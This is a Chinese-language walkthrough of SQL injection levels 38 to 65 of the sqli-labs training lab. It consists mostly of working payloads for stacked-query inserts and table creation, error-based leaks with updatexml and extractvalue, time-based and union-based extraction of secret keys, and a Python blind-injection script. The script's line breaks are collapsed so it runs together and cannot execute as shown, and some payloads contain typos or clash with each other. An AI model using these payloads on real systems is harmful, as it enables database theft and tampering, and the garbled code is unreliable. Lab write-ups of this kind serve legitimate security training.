知识点:
1.堆叠注入原理(stacked injection)
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
1.1与union查询区别
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
1.2使用实例
例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
1.3使用条件
堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
less38:
堆叠注入:也就是可以执行多条sql语句
http://127.0.0.1/sqli-labs-master/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
less39 堆叠注入
语句都一样,重点是找到闭合的方式
?id=1;insert into users(id,username,password) values (16,‘a’,‘a’)–+
less40盲注,字符型
?id=1'); insert into users(id,username,password) values ('17','a','a')--+
less41 盲注,数字型
1; insert into users(id,username,password) values(18,'b','b') --+
less42
经过验证,在password处语句报错,所以我们需要从passowrd入手
0';create table aaa like users #
less43
和 42 类似 同样password 未过滤
login_user=1&login_password=a’);create table less43 like users#&mysubmit=Login
less44 POST - Error based - String - Stacked -Blind
login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login
less45- Error based - String - Stacked - Blind
login_user=a&login_password=a’); insert into users(id,username,password) values(20,’‘c’,‘c’) --+&mysubmit=Login
Less-46 ORDER BY-Error-Numeric
终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错,而报错提示与order by 提示相同,猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
Less-47 ORDER BY Clause-Error-Single quote
和46有少许区别,做到这里基本套路应该都懂了,从不需要单引号,双引号之类的报错,到盲注,难度都是一步一步深入
sort=4’ and (select count(*) from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2))) --+
注意 and后面的语句要使用()括起来
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
Less-48 ORDER BY Clause Blind based
这一题 需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
之后通过if判断是否相等 去获取值
之后构成 if(ascii(substr(datbase(),1,1)))
或者使用rand(ascii(left(database,1))=115) 同样获取相同的效果
Less-49 ORDER BY Clause Blind based
同样是盲注,和48类似
这一题使用延时盲注解决
获取长度
?id=1 and if(length(database())=8,sleep(5),0)--+
获取值
?id=1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+
Less-50 ORDER BY Clause Blind based
检测 返回只有正确或者错误,属于盲注
通过报错注入 也能获取
id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
Less-51 ORDER BY Clause Blind based
sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
Less-52 ORDER BY Clause Blind based
测试发现均没有显错 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+
Less - 53 ORDER BY Clause Blind based
通过测试发现回显只有正确和错误,所以这道题做法基本就是盲注了,
id=4' and if(length(database()) = 8 ,0,sleep(6)) --+
id=1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
id=1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), n
Less-54 GET-challenge-Union-10 queries allowed-Variation 1
挑战 ,允许查询10次,先不急去查看,观察一下需要输入的内容
所以,我们只有10次机会,
一般获取一个表正常需要获取数据库,到表,到列,再到数据,所以最少需要4步,而这里我们需要用6步猜测出来注入
回忆一下前面的注入, get类型的包含但不限于单引号,双引号,bool,堆叠,延时,报错,字符型和数字型,双注。
第一道题 采用最简单的’注入
?id=1%27%20order%20by%203%20%23 // True
?id=1%27%20order%20by%204%20%23 // false
?id=0%27%20union%20select%201,2,database()%20%23 // True challenges
?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23 // True 8T3YRE3TXR
?id=0%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%278T3YRE3TXR%27%20%23// true secret_4XCQ
?id=0%27%20union%20select%201,2,group_concat(s
Less-55 GET-challenge-Union-14 queries allowed-Variation 2
线索: 告诉了测试次数14次, union测试 数据库challenges
第一次挑战 失败
’ " ') ") 均没有回显 初次猜测报错注入或者双注
第二次尝试
) 闭合
获取表
=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' %23 // True UBU4QNRHHP
获取列
id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='UBU4QNRHHP' %23 //true
// secret_6H3B
获取key
0) union select 1,2,group_concat(secret_6H3B) from UBU4QNRHHP %23
mLjAsOZnSEbQqIMybw1AnUYH
Less-56 GET-challenge-Union-14 queries allowed-Variation 3
这次老老实实绕过
id=1' %23 // False
id=1" %23 // True 但是注入 union报错
添加为
id=1' union select 1,2,3 %23 // False
id=1" union select 1,2,3 %23 //False
id=1') union select 1,2,3 %23
获取表
0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
KOUNR4QC6G
获取列
0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='KOUNR4QC6G'%23
secret_3EVD
获取key
0') union select 1,2,group_concat(secret_3EVD) from KOUNR4QC6G %23
KcU87wBerjRPTHsvWBL6Zpx1
Less-57 GET-challenge-Union-14 queries allowed-Variation 4
做法 和之前一样
0" union select 1,2,3 %23
通过改变0之后的值达到闭合的目的
获取表
0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
VAFBXAV18O
获取列
0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='VAFBXAV18O'%23
secret_G8PM
获取key
0" union select 1,2,group_concat(secret_G8PM) from VAFBXAV18O %23
dRwHUUQ2TXSGUZ556g7FikFJ
Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1
这道题 不看题目可能需要测好久
这次使用双注来报错查询
?id=1%27and%20%271%27=%271 // True绕过
获取表
1'and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
5H512U9U27
获取列
1'and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='5H512U9U27' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DD13
获取key
1'and (select count(*) from information_schema.tables group by concat('~',(select secret_BJYY from 9JMRBSMHB3 limit 0,1),'~',floor(rand(0)*2))) %23
fJw5d5MfwbirBtiV6ajyMVYL
Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2
先测试类型
有报错,可以注入
这次不需要过滤
获取表
1 and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
N6JFY84247
获取列
1 and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='N6JFY84247' limit 2,1),'~',floor(rand(0)*2))) %23
secret_FWQ3
获取key
1 and (select count(*) from information_schema.tables group by concat('~',(select secret_FWQ3 from N6JFY84247 limit 0,1),'~',floor(rand(0)*2))) %23
VlWMK389WVuIephCe46vDls5
Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3
测试 单引号 双引号 ) ') “) 发现”) 闭合 绕过
获取表
?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
5H36JXB2F0
获取 列
?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%275H36JXB2F0%27%20limit%202,1),%27~%27,floor(rand(0)*2)))%20%23
secret_NFL6
获取key
?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20secret_NFL6%20from%205H36JXB2F0%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
49DYkkaArpuMaYb5ITI6NYlP
Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4
通过1’ 判断闭合
获取表
1%
27))%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
EKP9EVPEDH
获取列
1')) and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database()%20 and table_name='EKP9EVPEDH' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DI64
获取key
1')) and (select count(*) from information_schema.tables group by concat('~',(select secret_DI64 from EKP9EVPEDH ),'~',floor(rand(0)*2))) %23
8r5XPen1KywllEINiQfAQnlq
Less-62 GET-challenge-Blind- 130 queries allowed -variation 1
高能警告,大佬脚本:
## 这里通过 ') %23 可构成闭合from urllib import request
from urllib import parse
import reurl ='http://192.168.64.135/Less-62/?id='# length
num = 0
for i in range(1,20):num +=1param = '1 \') and (length(database())='+str(i)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()if (re.search("Angelina",response)):print("length:" + str(i))breakdatabase = ""
for i in range(10):a = b =64while True:num +=1b = int(b/2)param = '1 \') and (ascii(substr(database(),'+str(i+1)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()#print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr(database(),' + str(i+1) + ',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()#print(url + parse.quote(param))if (re.search("Angelina", response)):database +=chr(a)breakelse:a +=bprint(database)之后爆破表 这一题写个完整的,之后就简略的写出注入点,
爆破表,拿上面的修修改改
通过检查,先确定表的长度,再去爆破
爆破前记得重置,因为130次比较少
# 查表的数量
table_num = 0while True:param = "1 ') and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"response = request.urlopen(url + parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina",response)):print("table_num:"+str(table_num))breakelse:table_num += 1
print(table_num)# # 确定表的长度
table_length = 0
while True:param = '1 \') and length(substr((select table_name from information_schema.tables where table_schema=database()),1))='+str(table_length)+' #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):print("table_num:" + str(table_length))breakelse:table_length += 1# 获取表名
table_name=""
for i in range(1,11):a=b=64while True:b= int(b/2)param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):table_name +=chr(a)breakelse:a +=bprint(table_name)J8CLO25SRR最后查列,这里发现写的脚本比较费时,所以稍微修改一下
column_name =""
for i in range(7,11):a=b=64while True:b= int(b/2)param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):column_name +=chr(a)breakelse:a +=b
#HKIR
print(column_name)
column_name = "secret_"+column_name# 查 key
for i in range(1,25):a=b=64while True:b= int(b/2)param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+'),'+str(i)+',1))<'+str(a)+') #'response = request.urlopen(url+parse.quote(param)).read().decode()print(url+parse.quote(param))if (re.search("Angelina", response)):a -=belse:param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+')),'+str(i)+',1))=' + str(a) + ') #'response = request.urlopen(url + parse.quote(param)).read().decode()print(url + parse.quote(param))if (re.search("Angelina", response)):key +=chr(a)breakelse:a +=b
Less-63 GET-challenge-Blind- 130 queries allowed -variation 2
和上一题类似
这里就判断注入类型,和如何闭合
1’ order by 4 %23
通过判断 发现3 返回正常 4 错误
所以之后的做法就和62 一样
Less-64 GET-challenge-Blind- 130 queries allowed -variation 3
测试了 ’ " ) )) ') ") ')) "))
1)) order by 3 %23 闭合
Less-65 GET-challenge-Blind- 130 queries allowed -variation 4
和上一题一样,通过测试闭合
发现 ") 绕过 闭合
这里还有一种做法,将需要绕过的写入txt文件,之后通过burp去爆破,通过判断返回值也可以达到相同的